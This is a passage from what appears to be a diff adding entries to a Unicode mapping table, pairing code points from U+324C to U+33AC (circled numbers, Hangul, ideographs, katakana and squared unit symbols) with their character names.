+ ["\u324C", "\u324C"], /* CIRCLED NUMBER FIFTY ON BLACK SQUARE */
+ ["\u324D", "\u324D"], /* CIRCLED NUMBER SIXTY ON BLACK SQUARE */
+ ["\u324E", "\u324E"], /* CIRCLED NUMBER SEVENTY ON BLACK SQUARE */
+ ["\u324F", "\u324F"], /* CIRCLED NUMBER EIGHTY ON BLACK SQUARE */
+ ["\u3250", "\u3250"], /* PARTNERSHIP SIGN */
+ ["\u3251", "\u3251"], /* CIRCLED NUMBER TWENTY ONE */
+ ["\u3252", "\u3252"], /* CIRCLED NUMBER TWENTY TWO */
+ ["\u3253", "\u3253"], /* CIRCLED NUMBER TWENTY THREE */
+ ["\u3254", "\u3254"], /* CIRCLED NUMBER TWENTY FOUR */
+ ["\u3255", "\u3255"], /* CIRCLED NUMBER TWENTY FIVE */
+ ["\u3256", "\u3256"], /* CIRCLED NUMBER TWENTY SIX */
+ ["\u3257", "\u3257"], /* CIRCLED NUMBER TWENTY SEVEN */
+ ["\u3258", "\u3258"], /* CIRCLED NUMBER TWENTY EIGHT */
+ ["\u3259", "\u3259"], /* CIRCLED NUMBER TWENTY NINE */
+ ["\u325A", "\u325A"], /* CIRCLED NUMBER THIRTY */
+ ["\u325B", "\u325B"], /* CIRCLED NUMBER THIRTY ONE */
+ ["\u325C", "\u325C"], /* CIRCLED NUMBER THIRTY TWO */
+ ["\u325D", "\u325D"], /* CIRCLED NUMBER THIRTY THREE */
+ ["\u325E", "\u325E"], /* CIRCLED NUMBER THIRTY FOUR */
+ ["\u325F", "\u325F"], /* CIRCLED NUMBER THIRTY FIVE */
+ ["\u3260", "\u3260"], /* CIRCLED HANGUL KIYEOK (CIRCLED HANGUL GIYEOG) */
+ ["\u3261", "\u3261"], /* CIRCLED HANGUL NIEUN */
+ ["\u3262", "\u3262"], /* CIRCLED HANGUL TIKEUT (CIRCLED HANGUL DIGEUD) */
+ ["\u3263", "\u3263"], /* CIRCLED HANGUL RIEUL (CIRCLED HANGUL LIEUL) */
+ ["\u3264", "\u3264"], /* CIRCLED HANGUL MIEUM */
+ ["\u3265", "\u3265"], /* CIRCLED HANGUL PIEUP (CIRCLED HANGUL BIEUB) */
+ ["\u3266", "\u3266"], /* CIRCLED HANGUL SIOS */
+ ["\u3267", "\u3267"], /* CIRCLED HANGUL IEUNG */
+ ["\u3268", "\u3268"], /* CIRCLED HANGUL CIEUC (CIRCLED HANGUL JIEUJ) */
+ ["\u3269", "\u3269"], /* CIRCLED HANGUL CHIEUCH (CIRCLED HANGUL CIEUC) */
+ ["\u326A", "\u326A"], /* CIRCLED HANGUL KHIEUKH (CIRCLED HANGUL KIYEOK) */
+ ["\u326B", "\u326B"], /* CIRCLED HANGUL THIEUTH (CIRCLED HANGUL TIEUT) */
+ ["\u326C", "\u326C"], /* CIRCLED HANGUL PHIEUPH (CIRCLED HANGUL PIEUP) */
+ ["\u326D", "\u326D"], /* CIRCLED HANGUL HIEUH */
+ ["\u326E", "\u326E"], /* CIRCLED HANGUL KIYEOK A (CIRCLED HANGUL GA) */
+ ["\u326F", "\u326F"], /* CIRCLED HANGUL NIEUN A (CIRCLED HANGUL NA) */
+ ["\u3270", "\u3270"], /* CIRCLED HANGUL TIKEUT A (CIRCLED HANGUL DA) */
+ ["\u3271", "\u3271"], /* CIRCLED HANGUL RIEUL A (CIRCLED HANGUL LA) */
+ ["\u3272", "\u3272"], /* CIRCLED HANGUL MIEUM A (CIRCLED HANGUL MA) */
+ ["\u3273", "\u3273"], /* CIRCLED HANGUL PIEUP A (CIRCLED HANGUL BA) */
+ ["\u3274", "\u3274"], /* CIRCLED HANGUL SIOS A (CIRCLED HANGUL SA) */
+ ["\u3275", "\u3275"], /* CIRCLED HANGUL IEUNG A (CIRCLED HANGUL A) */
+ ["\u3276", "\u3276"], /* CIRCLED HANGUL CIEUC A (CIRCLED HANGUL JA) */
+ ["\u3277", "\u3277"], /* CIRCLED HANGUL CHIEUCH A (CIRCLED HANGUL CA) */
+ ["\u3278", "\u3278"], /* CIRCLED HANGUL KHIEUKH A (CIRCLED HANGUL KA) */
+ ["\u3279", "\u3279"], /* CIRCLED HANGUL THIEUTH A (CIRCLED HANGUL TA) */
+ ["\u327A", "\u327A"], /* CIRCLED HANGUL PHIEUPH A (CIRCLED HANGUL PA) */
+ ["\u327B", "\u327B"], /* CIRCLED HANGUL HIEUH A (CIRCLED HANGUL HA) */
+ ["\u327C", "\u327C"], /* CIRCLED KOREAN CHARACTER CHAMKO */
+ ["\u327D", "\u327D"], /* CIRCLED KOREAN CHARACTER JUEUI */
+ ["\u327E", "\u327E"], /* CIRCLED HANGUL IEUNG U */
+ ["\u327F", "\u327F"], /* KOREAN STANDARD SYMBOL */
+ ["\u3280", "\u3280"], /* CIRCLED IDEOGRAPH ONE */
+ ["\u3281", "\u3281"], /* CIRCLED IDEOGRAPH TWO */
+ ["\u3282", "\u3282"], /* CIRCLED IDEOGRAPH THREE */
+ ["\u3283", "\u3283"], /* CIRCLED IDEOGRAPH FOUR */
+ ["\u3284", "\u3284"], /* CIRCLED IDEOGRAPH FIVE */
+ ["\u3285", "\u3285"], /* CIRCLED IDEOGRAPH SIX */
+ ["\u3286", "\u3286"], /* CIRCLED IDEOGRAPH SEVEN */
+ ["\u3287", "\u3287"], /* CIRCLED IDEOGRAPH EIGHT */
+ ["\u3288", "\u3288"], /* CIRCLED IDEOGRAPH NINE */
+ ["\u3289", "\u3289"], /* CIRCLED IDEOGRAPH TEN */
+ ["\u328A", "\u328A"], /* CIRCLED IDEOGRAPH MOON */
+ ["\u328B", "\u328B"], /* CIRCLED IDEOGRAPH FIRE */
+ ["\u328C", "\u328C"], /* CIRCLED IDEOGRAPH WATER */
+ ["\u328D", "\u328D"], /* CIRCLED IDEOGRAPH WOOD */
+ ["\u328E", "\u328E"], /* CIRCLED IDEOGRAPH METAL */
+ ["\u328F", "\u328F"], /* CIRCLED IDEOGRAPH EARTH */
+ ["\u3290", "\u3290"], /* CIRCLED IDEOGRAPH SUN */
+ ["\u3291", "\u3291"], /* CIRCLED IDEOGRAPH STOCK */
+ ["\u3292", "\u3292"], /* CIRCLED IDEOGRAPH HAVE */
+ ["\u3293", "\u3293"], /* CIRCLED IDEOGRAPH SOCIETY */
+ ["\u3294", "\u3294"], /* CIRCLED IDEOGRAPH NAME */
+ ["\u3295", "\u3295"], /* CIRCLED IDEOGRAPH SPECIAL */
+ ["\u3296", "\u3296"], /* CIRCLED IDEOGRAPH FINANCIAL */
+ ["\u3297", "\u3297"], /* CIRCLED IDEOGRAPH CONGRATULATION */
+ ["\u3298", "\u3298"], /* CIRCLED IDEOGRAPH LABOR */
+ ["\u3299", "\u3299"], /* CIRCLED IDEOGRAPH SECRET */
+ ["\u329A", "\u329A"], /* CIRCLED IDEOGRAPH MALE */
+ ["\u329B", "\u329B"], /* CIRCLED IDEOGRAPH FEMALE */
+ ["\u329C", "\u329C"], /* CIRCLED IDEOGRAPH SUITABLE */
+ ["\u329D", "\u329D"], /* CIRCLED IDEOGRAPH EXCELLENT */
+ ["\u329E", "\u329E"], /* CIRCLED IDEOGRAPH PRINT */
+ ["\u329F", "\u329F"], /* CIRCLED IDEOGRAPH ATTENTION */
+ ["\u32A0", "\u32A0"], /* CIRCLED IDEOGRAPH ITEM */
+ ["\u32A1", "\u32A1"], /* CIRCLED IDEOGRAPH REST */
+ ["\u32A2", "\u32A2"], /* CIRCLED IDEOGRAPH COPY */
+ ["\u32A3", "\u32A3"], /* CIRCLED IDEOGRAPH CORRECT */
+ ["\u32A4", "\u32A4"], /* CIRCLED IDEOGRAPH HIGH */
+ ["\u32A5", "\u32A5"], /* CIRCLED IDEOGRAPH CENTRE (CIRCLED IDEOGRAPH CENTER) */
+ ["\u32A6", "\u32A6"], /* CIRCLED IDEOGRAPH LOW */
+ ["\u32A7", "\u32A7"], /* CIRCLED IDEOGRAPH LEFT */
+ ["\u32A8", "\u32A8"], /* CIRCLED IDEOGRAPH RIGHT */
+ ["\u32A9", "\u32A9"], /* CIRCLED IDEOGRAPH MEDICINE */
+ ["\u32AA", "\u32AA"], /* CIRCLED IDEOGRAPH RELIGION */
+ ["\u32AB", "\u32AB"], /* CIRCLED IDEOGRAPH STUDY */
+ ["\u32AC", "\u32AC"], /* CIRCLED IDEOGRAPH SUPERVISE */
+ ["\u32AD", "\u32AD"], /* CIRCLED IDEOGRAPH ENTERPRISE */
+ ["\u32AE", "\u32AE"], /* CIRCLED IDEOGRAPH RESOURCE */
+ ["\u32AF", "\u32AF"], /* CIRCLED IDEOGRAPH ALLIANCE */
+ ["\u32B0", "\u32B0"], /* CIRCLED IDEOGRAPH NIGHT */
+ ["\u32B1", "\u32B1"], /* CIRCLED NUMBER THIRTY SIX */
+ ["\u32B2", "\u32B2"], /* CIRCLED NUMBER THIRTY SEVEN */
+ ["\u32B3", "\u32B3"], /* CIRCLED NUMBER THIRTY EIGHT */
+ ["\u32B4", "\u32B4"], /* CIRCLED NUMBER THIRTY NINE */
+ ["\u32B5", "\u32B5"], /* CIRCLED NUMBER FORTY */
+ ["\u32B6", "\u32B6"], /* CIRCLED NUMBER FORTY ONE */
+ ["\u32B7", "\u32B7"], /* CIRCLED NUMBER FORTY TWO */
+ ["\u32B8", "\u32B8"], /* CIRCLED NUMBER FORTY THREE */
+ ["\u32B9", "\u32B9"], /* CIRCLED NUMBER FORTY FOUR */
+ ["\u32BA", "\u32BA"], /* CIRCLED NUMBER FORTY FIVE */
+ ["\u32BB", "\u32BB"], /* CIRCLED NUMBER FORTY SIX */
+ ["\u32BC", "\u32BC"], /* CIRCLED NUMBER FORTY SEVEN */
+ ["\u32BD", "\u32BD"], /* CIRCLED NUMBER FORTY EIGHT */
+ ["\u32BE", "\u32BE"], /* CIRCLED NUMBER FORTY NINE */
+ ["\u32BF", "\u32BF"], /* CIRCLED NUMBER FIFTY */
+ ["\u32C0", "\u32C0"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY */
+ ["\u32C1", "\u32C1"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY */
+ ["\u32C2", "\u32C2"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH */
+ ["\u32C3", "\u32C3"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL */
+ ["\u32C4", "\u32C4"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY */
+ ["\u32C5", "\u32C5"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE */
+ ["\u32C6", "\u32C6"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY */
+ ["\u32C7", "\u32C7"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST */
+ ["\u32C8", "\u32C8"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER */
+ ["\u32C9", "\u32C9"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER */
+ ["\u32CA", "\u32CA"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER */
+ ["\u32CB", "\u32CB"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER */
+ ["\u32CC", "\u32CC"], /* SQUARE HG */
+ ["\u32CD", "\u32CD"], /* SQUARE ERG */
+ ["\u32CE", "\u32CE"], /* SQUARE EV */
+ ["\u32CF", "\u32CF"], /* LIMITED LIABILITY SIGN */
+ ["\u32D0", "\u32D0"], /* CIRCLED KATAKANA A */
+ ["\u32D1", "\u32D1"], /* CIRCLED KATAKANA I */
+ ["\u32D2", "\u32D2"], /* CIRCLED KATAKANA U */
+ ["\u32D3", "\u32D3"], /* CIRCLED KATAKANA E */
+ ["\u32D4", "\u32D4"], /* CIRCLED KATAKANA O */
+ ["\u32D5", "\u32D5"], /* CIRCLED KATAKANA KA */
+ ["\u32D6", "\u32D6"], /* CIRCLED KATAKANA KI */
+ ["\u32D7", "\u32D7"], /* CIRCLED KATAKANA KU */
+ ["\u32D8", "\u32D8"], /* CIRCLED KATAKANA KE */
+ ["\u32D9", "\u32D9"], /* CIRCLED KATAKANA KO */
+ ["\u32DA", "\u32DA"], /* CIRCLED KATAKANA SA */
+ ["\u32DB", "\u32DB"], /* CIRCLED KATAKANA SI */
+ ["\u32DC", "\u32DC"], /* CIRCLED KATAKANA SU */
+ ["\u32DD", "\u32DD"], /* CIRCLED KATAKANA SE */
+ ["\u32DE", "\u32DE"], /* CIRCLED KATAKANA SO */
+ ["\u32DF", "\u32DF"], /* CIRCLED KATAKANA TA */
+ ["\u32E0", "\u32E0"], /* CIRCLED KATAKANA TI */
+ ["\u32E1", "\u32E1"], /* CIRCLED KATAKANA TU */
+ ["\u32E2", "\u32E2"], /* CIRCLED KATAKANA TE */
+ ["\u32E3", "\u32E3"], /* CIRCLED KATAKANA TO */
+ ["\u32E4", "\u32E4"], /* CIRCLED KATAKANA NA */
+ ["\u32E5", "\u32E5"], /* CIRCLED KATAKANA NI */
+ ["\u32E6", "\u32E6"], /* CIRCLED KATAKANA NU */
+ ["\u32E7", "\u32E7"], /* CIRCLED KATAKANA NE */
+ ["\u32E8", "\u32E8"], /* CIRCLED KATAKANA NO */
+ ["\u32E9", "\u32E9"], /* CIRCLED KATAKANA HA */
+ ["\u32EA", "\u32EA"], /* CIRCLED KATAKANA HI */
+ ["\u32EB", "\u32EB"], /* CIRCLED KATAKANA HU */
+ ["\u32EC", "\u32EC"], /* CIRCLED KATAKANA HE */
+ ["\u32ED", "\u32ED"], /* CIRCLED KATAKANA HO */
+ ["\u32EE", "\u32EE"], /* CIRCLED KATAKANA MA */
+ ["\u32EF", "\u32EF"], /* CIRCLED KATAKANA MI */
+ ["\u32F0", "\u32F0"], /* CIRCLED KATAKANA MU */
+ ["\u32F1", "\u32F1"], /* CIRCLED KATAKANA ME */
+ ["\u32F2", "\u32F2"], /* CIRCLED KATAKANA MO */
+ ["\u32F3", "\u32F3"], /* CIRCLED KATAKANA YA */
+ ["\u32F4", "\u32F4"], /* CIRCLED KATAKANA YU */
+ ["\u32F5", "\u32F5"], /* CIRCLED KATAKANA YO */
+ ["\u32F6", "\u32F6"], /* CIRCLED KATAKANA RA */
+ ["\u32F7", "\u32F7"], /* CIRCLED KATAKANA RI */
+ ["\u32F8", "\u32F8"], /* CIRCLED KATAKANA RU */
+ ["\u32F9", "\u32F9"], /* CIRCLED KATAKANA RE */
+ ["\u32FA", "\u32FA"], /* CIRCLED KATAKANA RO */
+ ["\u32FB", "\u32FB"], /* CIRCLED KATAKANA WA */
+ ["\u32FC", "\u32FC"], /* CIRCLED KATAKANA WI */
+ ["\u32FD", "\u32FD"], /* CIRCLED KATAKANA WE */
+ ["\u32FE", "\u32FE"], /* CIRCLED KATAKANA WO */
+ ["\u32FF", "\u32FF"], /* SQUARE ERA NAME REIWA */
+ ["\u3300", "\u3300"], /* SQUARE APAATO (SQUARED APAATO) */
+ ["\u3301", "\u3301"], /* SQUARE ARUHUA (SQUARED ARUHUA) */
+ ["\u3302", "\u3302"], /* SQUARE ANPEA (SQUARED ANPEA) */
+ ["\u3303", "\u3303"], /* SQUARE AARU (SQUARED AARU) */
+ ["\u3304", "\u3304"], /* SQUARE ININGU (SQUARED ININGU) */
+ ["\u3305", "\u3305"], /* SQUARE INTI (SQUARED INTI) */
+ ["\u3306", "\u3306"], /* SQUARE UON (SQUARED UON) */
+ ["\u3307", "\u3307"], /* SQUARE ESUKUUDO (SQUARED ESUKUUDO) */
+ ["\u3308", "\u3308"], /* SQUARE EEKAA (SQUARED EEKAA) */
+ ["\u3309", "\u3309"], /* SQUARE ONSU (SQUARED ONSU) */
+ ["\u330A", "\u330A"], /* SQUARE OOMU (SQUARED OOMU) */
+ ["\u330B", "\u330B"], /* SQUARE KAIRI (SQUARED KAIRI) */
+ ["\u330C", "\u330C"], /* SQUARE KARATTO (SQUARED KARATTO) */
+ ["\u330D", "\u330D"], /* SQUARE KARORII (SQUARED KARORII) */
+ ["\u330E", "\u330E"], /* SQUARE GARON (SQUARED GARON) */
+ ["\u330F", "\u330F"], /* SQUARE GANMA (SQUARED GANMA) */
+ ["\u3310", "\u3310"], /* SQUARE GIGA (SQUARED GIGA) */
+ ["\u3311", "\u3311"], /* SQUARE GINII (SQUARED GINII) */
+ ["\u3312", "\u3312"], /* SQUARE KYURII (SQUARED KYURII) */
+ ["\u3313", "\u3313"], /* SQUARE GIRUDAA (SQUARED GIRUDAA) */
+ ["\u3314", "\u3314"], /* SQUARE KIRO (SQUARED KIRO) */
+ ["\u3315", "\u3315"], /* SQUARE KIROGURAMU (SQUARED KIROGURAMU) */
+ ["\u3316", "\u3316"], /* SQUARE KIROMEETORU (SQUARED KIROMEETORU) */
+ ["\u3317", "\u3317"], /* SQUARE KIROWATTO (SQUARED KIROWATTO) */
+ ["\u3318", "\u3318"], /* SQUARE GURAMU (SQUARED GURAMU) */
+ ["\u3319", "\u3319"], /* SQUARE GURAMUTON (SQUARED GURAMUTON) */
+ ["\u331A", "\u331A"], /* SQUARE KURUZEIRO (SQUARED KURUZEIRO) */
+ ["\u331B", "\u331B"], /* SQUARE KUROONE (SQUARED KUROONE) */
+ ["\u331C", "\u331C"], /* SQUARE KEESU (SQUARED KEESU) */
+ ["\u331D", "\u331D"], /* SQUARE KORUNA (SQUARED KORUNA) */
+ ["\u331E", "\u331E"], /* SQUARE KOOPO (SQUARED KOOPO) */
+ ["\u331F", "\u331F"], /* SQUARE SAIKURU (SQUARED SAIKURU) */
+ ["\u3320", "\u3320"], /* SQUARE SANTIIMU (SQUARED SANTIIMU) */
+ ["\u3321", "\u3321"], /* SQUARE SIRINGU (SQUARED SIRINGU) */
+ ["\u3322", "\u3322"], /* SQUARE SENTI (SQUARED SENTI) */
+ ["\u3323", "\u3323"], /* SQUARE SENTO (SQUARED SENTO) */
+ ["\u3324", "\u3324"], /* SQUARE DAASU (SQUARED DAASU) */
+ ["\u3325", "\u3325"], /* SQUARE DESI (SQUARED DESI) */
+ ["\u3326", "\u3326"], /* SQUARE DORU (SQUARED DORU) */
+ ["\u3327", "\u3327"], /* SQUARE TON (SQUARED TON) */
+ ["\u3328", "\u3328"], /* SQUARE NANO (SQUARED NANO) */
+ ["\u3329", "\u3329"], /* SQUARE NOTTO (SQUARED NOTTO) */
+ ["\u332A", "\u332A"], /* SQUARE HAITU (SQUARED HAITU) */
+ ["\u332B", "\u332B"], /* SQUARE PAASENTO (SQUARED PAASENTO) */
+ ["\u332C", "\u332C"], /* SQUARE PAATU (SQUARED PAATU) */
+ ["\u332D", "\u332D"], /* SQUARE BAARERU (SQUARED BAARERU) */
+ ["\u332E", "\u332E"], /* SQUARE PIASUTORU (SQUARED PIASUTORU) */
+ ["\u332F", "\u332F"], /* SQUARE PIKURU (SQUARED PIKURU) */
+ ["\u3330", "\u3330"], /* SQUARE PIKO (SQUARED PIKO) */
+ ["\u3331", "\u3331"], /* SQUARE BIRU (SQUARED BIRU) */
+ ["\u3332", "\u3332"], /* SQUARE HUARADDO (SQUARED HUARADDO) */
+ ["\u3333", "\u3333"], /* SQUARE HUIITO (SQUARED HUIITO) */
+ ["\u3334", "\u3334"], /* SQUARE BUSSYERU (SQUARED BUSSYERU) */
+ ["\u3335", "\u3335"], /* SQUARE HURAN (SQUARED HURAN) */
+ ["\u3336", "\u3336"], /* SQUARE HEKUTAARU (SQUARED HEKUTAARU) */
+ ["\u3337", "\u3337"], /* SQUARE PESO (SQUARED PESO) */
+ ["\u3338", "\u3338"], /* SQUARE PENIHI (SQUARED PENIHI) */
+ ["\u3339", "\u3339"], /* SQUARE HERUTU (SQUARED HERUTU) */
+ ["\u333A", "\u333A"], /* SQUARE PENSU (SQUARED PENSU) */
+ ["\u333B", "\u333B"], /* SQUARE PEEZI (SQUARED PEEZI) */
+ ["\u333C", "\u333C"], /* SQUARE BEETA (SQUARED BEETA) */
+ ["\u333D", "\u333D"], /* SQUARE POINTO (SQUARED POINTO) */
+ ["\u333E", "\u333E"], /* SQUARE BORUTO (SQUARED BORUTO) */
+ ["\u333F", "\u333F"], /* SQUARE HON (SQUARED HON) */
+ ["\u3340", "\u3340"], /* SQUARE PONDO (SQUARED PONDO) */
+ ["\u3341", "\u3341"], /* SQUARE HOORU (SQUARED HOORU) */
+ ["\u3342", "\u3342"], /* SQUARE HOON (SQUARED HOON) */
+ ["\u3343", "\u3343"], /* SQUARE MAIKURO (SQUARED MAIKURO) */
+ ["\u3344", "\u3344"], /* SQUARE MAIRU (SQUARED MAIRU) */
+ ["\u3345", "\u3345"], /* SQUARE MAHHA (SQUARED MAHHA) */
+ ["\u3346", "\u3346"], /* SQUARE MARUKU (SQUARED MARUKU) */
+ ["\u3347", "\u3347"], /* SQUARE MANSYON (SQUARED MANSYON) */
+ ["\u3348", "\u3348"], /* SQUARE MIKURON (SQUARED MIKURON) */
+ ["\u3349", "\u3349"], /* SQUARE MIRI (SQUARED MIRI) */
+ ["\u334A", "\u334A"], /* SQUARE MIRIBAARU (SQUARED MIRIBAARU) */
+ ["\u334B", "\u334B"], /* SQUARE MEGA (SQUARED MEGA) */
+ ["\u334C", "\u334C"], /* SQUARE MEGATON (SQUARED MEGATON) */
+ ["\u334D", "\u334D"], /* SQUARE MEETORU (SQUARED MEETORU) */
+ ["\u334E", "\u334E"], /* SQUARE YAADO (SQUARED YAADO) */
+ ["\u334F", "\u334F"], /* SQUARE YAARU (SQUARED YAARU) */
+ ["\u3350", "\u3350"], /* SQUARE YUAN (SQUARED YUAN) */
+ ["\u3351", "\u3351"], /* SQUARE RITTORU (SQUARED RITTORU) */
+ ["\u3352", "\u3352"], /* SQUARE RIRA (SQUARED RIRA) */
+ ["\u3353", "\u3353"], /* SQUARE RUPII (SQUARED RUPII) */
+ ["\u3354", "\u3354"], /* SQUARE RUUBURU (SQUARED RUUBURU) */
+ ["\u3355", "\u3355"], /* SQUARE REMU (SQUARED REMU) */
+ ["\u3356", "\u3356"], /* SQUARE RENTOGEN (SQUARED RENTOGEN) */
+ ["\u3357", "\u3357"], /* SQUARE WATTO (SQUARED WATTO) */
+ ["\u3358", "\u3358"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO */
+ ["\u3359", "\u3359"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE */
+ ["\u335A", "\u335A"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO */
+ ["\u335B", "\u335B"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE */
+ ["\u335C", "\u335C"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR */
+ ["\u335D", "\u335D"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE */
+ ["\u335E", "\u335E"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX */
+ ["\u335F", "\u335F"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN */
+ ["\u3360", "\u3360"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT */
+ ["\u3361", "\u3361"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE */
+ ["\u3362", "\u3362"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN */
+ ["\u3363", "\u3363"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN */
+ ["\u3364", "\u3364"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE */
+ ["\u3365", "\u3365"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN */
+ ["\u3366", "\u3366"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN */
+ ["\u3367", "\u3367"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN */
+ ["\u3368", "\u3368"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN */
+ ["\u3369", "\u3369"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN */
+ ["\u336A", "\u336A"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN */
+ ["\u336B", "\u336B"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN */
+ ["\u336C", "\u336C"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY */
+ ["\u336D", "\u336D"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE */
+ ["\u336E", "\u336E"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO */
+ ["\u336F", "\u336F"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE */
+ ["\u3370", "\u3370"], /* IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR */
+ ["\u3371", "\u3371"], /* SQUARE HPA */
+ ["\u3372", "\u3372"], /* SQUARE DA */
+ ["\u3373", "\u3373"], /* SQUARE AU */
+ ["\u3374", "\u3374"], /* SQUARE BAR */
+ ["\u3375", "\u3375"], /* SQUARE OV */
+ ["\u3376", "\u3376"], /* SQUARE PC */
+ ["\u3377", "\u3377"], /* SQUARE DM */
+ ["\u3378", "\u3378"], /* SQUARE DM SQUARED */
+ ["\u3379", "\u3379"], /* SQUARE DM CUBED */
+ ["\u337A", "\u337A"], /* SQUARE IU */
+ ["\u337B", "\u337B"], /* SQUARE ERA NAME HEISEI (SQUARED TWO IDEOGRAPHS ERA NAME HEISEI) */
+ ["\u337C", "\u337C"], /* SQUARE ERA NAME SYOUWA (SQUARED TWO IDEOGRAPHS ERA NAME SYOUWA) */
+ ["\u337D", "\u337D"], /* SQUARE ERA NAME TAISYOU (SQUARED TWO IDEOGRAPHS ERA NAME TAISYOU) */
+ ["\u337E", "\u337E"], /* SQUARE ERA NAME MEIZI (SQUARED TWO IDEOGRAPHS ERA NAME MEIZI) */
+ ["\u337F", "\u337F"], /* SQUARE CORPORATION (SQUARED FOUR IDEOGRAPHS CORPORATION) */
+ ["\u3380", "\u3380"], /* SQUARE PA AMPS (SQUARED PA AMPS) */
+ ["\u3381", "\u3381"], /* SQUARE NA (SQUARED NA) */
+ ["\u3382", "\u3382"], /* SQUARE MU A (SQUARED MU A) */
+ ["\u3383", "\u3383"], /* SQUARE MA (SQUARED MA) */
+ ["\u3384", "\u3384"], /* SQUARE KA (SQUARED KA) */
+ ["\u3385", "\u3385"], /* SQUARE KB (SQUARED KB) */
+ ["\u3386", "\u3386"], /* SQUARE MB (SQUARED MB) */
+ ["\u3387", "\u3387"], /* SQUARE GB (SQUARED GB) */
+ ["\u3388", "\u3388"], /* SQUARE CAL (SQUARED CAL) */
+ ["\u3389", "\u3389"], /* SQUARE KCAL (SQUARED KCAL) */
+ ["\u338A", "\u338A"], /* SQUARE PF (SQUARED PF) */
+ ["\u338B", "\u338B"], /* SQUARE NF (SQUARED NF) */
+ ["\u338C", "\u338C"], /* SQUARE MU F (SQUARED MU F) */
+ ["\u338D", "\u338D"], /* SQUARE MU G (SQUARED MU G) */
+ ["\u338E", "\u338E"], /* SQUARE MG (SQUARED MG) */
+ ["\u338F", "\u338F"], /* SQUARE KG (SQUARED KG) */
+ ["\u3390", "\u3390"], /* SQUARE HZ (SQUARED HZ) */
+ ["\u3391", "\u3391"], /* SQUARE KHZ (SQUARED KHZ) */
+ ["\u3392", "\u3392"], /* SQUARE MHZ (SQUARED MHZ) */
+ ["\u3393", "\u3393"], /* SQUARE GHZ (SQUARED GHZ) */
+ ["\u3394", "\u3394"], /* SQUARE THZ (SQUARED THZ) */
+ ["\u3395", "\u3395"], /* SQUARE MU L (SQUARED MU L) */
+ ["\u3396", "\u3396"], /* SQUARE ML (SQUARED ML) */
+ ["\u3397", "\u3397"], /* SQUARE DL (SQUARED DL) */
+ ["\u3398", "\u3398"], /* SQUARE KL (SQUARED KL) */
+ ["\u3399", "\u3399"], /* SQUARE FM (SQUARED FM) */
+ ["\u339A", "\u339A"], /* SQUARE NM (SQUARED NM) */
+ ["\u339B", "\u339B"], /* SQUARE MU M (SQUARED MU M) */
+ ["\u339C", "\u339C"], /* SQUARE MM (SQUARED MM) */
+ ["\u339D", "\u339D"], /* SQUARE CM (SQUARED CM) */
+ ["\u339E", "\u339E"], /* SQUARE KM (SQUARED KM) */
+ ["\u339F", "\u339F"], /* SQUARE MM SQUARED (SQUARED MM SQUARED) */
+ ["\u33A0", "\u33A0"], /* SQUARE CM SQUARED (SQUARED CM SQUARED) */
+ ["\u33A1", "\u33A1"], /* SQUARE M SQUARED (SQUARED M SQUARED) */
+ ["\u33A2", "\u33A2"], /* SQUARE KM SQUARED (SQUARED KM SQUARED) */
+ ["\u33A3", "\u33A3"], /* SQUARE MM CUBED (SQUARED MM CUBED) */
+ ["\u33A4", "\u33A4"], /* SQUARE CM CUBED (SQUARED CM CUBED) */
+ ["\u33A5", "\u33A5"], /* SQUARE M CUBED (SQUARED M CUBED) */
+ ["\u33A6", "\u33A6"], /* SQUARE KM CUBED (SQUARED KM CUBED) */
+ ["\u33A7", "\u33A7"], /* SQUARE M OVER S (SQUARED M OVER S) */
+ ["\u33A8", "\u33A8"], /* SQUARE M OVER S SQUARED (SQUARED M OVER S SQUARED) */
+ ["\u33A9", "\u33A9"], /* SQUARE PA (SQUARED PA) */
+ ["\u33AA", "\u33AA"], /* SQUARE KPA (SQUARED KPA) */
+ ["\u33AB", "\u33AB"], /* SQUARE MPA (SQUARED MPA) */
+ ["\u33AC", "\u33AC"], /* SQUARE GPA (SQUARED GPA) */
